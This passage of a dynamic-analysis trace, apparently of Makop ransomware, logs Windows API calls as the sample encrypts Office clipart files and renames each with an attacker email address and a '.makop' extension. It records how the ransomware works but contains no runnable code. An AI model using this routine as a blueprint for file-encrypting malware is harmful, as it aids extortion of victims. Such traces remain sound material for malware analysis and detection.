lpNumberOfBytesRead=0x6576034*=0x20ee, lpOverlapped=0x0) returned 1 [0155.975] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x20f0) returned 1 [0155.975] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.975] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x20f0, lpOverlapped=0x0) returned 1 [0155.975] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.976] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.976] SetEndOfFile (hFile=0x130) returned 1 [0155.983] GetProcessHeap () returned 0x48a0000 [0155.983] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.983] GetProcessHeap () returned 0x48a0000 [0155.983] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.983] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.983] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.984] CloseHandle (hObject=0x130) returned 1 [0155.985] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0155.985] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF") returned 76 [0155.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.986] GetProcessHeap () returned 0x48a0000 [0155.986] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.986] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.986] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0155.990] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.991] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.991] GetProcessHeap () returned 0x48a0000 [0155.991] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.991] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.991] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.991] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.991] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.991] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.991] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.992] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.992] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.992] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.992] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.992] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.992] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2026, lpOverlapped=0x0) returned 1 [0155.994] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2030, dwBufLen=0x2030 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2030) returned 1 [0155.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.994] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2030, lpOverlapped=0x0) returned 1 [0155.994] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.994] SetEndOfFile (hFile=0x130) returned 1 [0156.001] GetProcessHeap () returned 0x48a0000 [0156.001] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.001] GetProcessHeap () returned 0x48a0000 [0156.001] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.002] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.003] CloseHandle (hObject=0x130) returned 1 [0156.004] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0156.004] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF") returned 76 [0156.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.005] GetProcessHeap () returned 0x48a0000 [0156.005] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.005] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.005] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0156.010] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.010] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.010] GetProcessHeap () returned 0x48a0000 [0156.010] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.010] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.010] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.010] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.010] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.010] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.010] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.011] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.011] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.011] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.011] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2313, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2313, lpOverlapped=0x0) returned 1 [0156.013] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2320, dwBufLen=0x2320 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2320) returned 1 [0156.013] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.013] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2320, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2320, lpOverlapped=0x0) returned 1 [0156.013] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.013] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x23f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.013] SetEndOfFile (hFile=0x130) returned 1 [0156.020] GetProcessHeap () returned 0x48a0000 [0156.020] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.020] GetProcessHeap () returned 0x48a0000 [0156.020] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.020] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.022] CloseHandle (hObject=0x130) returned 1 [0156.022] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0156.022] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF") returned 76 [0156.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.023] GetProcessHeap () returned 0x48a0000 [0156.023] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.024] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.024] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0156.028] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.028] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.028] GetProcessHeap () returned 0x48a0000 [0156.028] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.029] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.029] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.029] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.029] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.029] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.029] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.030] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.030] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.030] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.030] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f8f, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1f8f, lpOverlapped=0x0) returned 1 [0156.032] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1f90) returned 1 [0156.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.032] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1f90, lpOverlapped=0x0) returned 1 [0156.032] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.032] SetEndOfFile (hFile=0x130) returned 1 [0156.040] GetProcessHeap () returned 0x48a0000 [0156.040] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.040] GetProcessHeap () returned 0x48a0000 [0156.040] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.040] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.041] CloseHandle (hObject=0x130) returned 1 [0156.042] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0156.042] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF") returned 76 [0156.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.043] GetProcessHeap () returned 0x48a0000 [0156.043] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.043] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.043] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0156.048] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.048] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.048] GetProcessHeap () returned 0x48a0000 [0156.048] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.048] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.048] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.048] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.048] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.048] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.049] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.049] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.049] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.049] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, 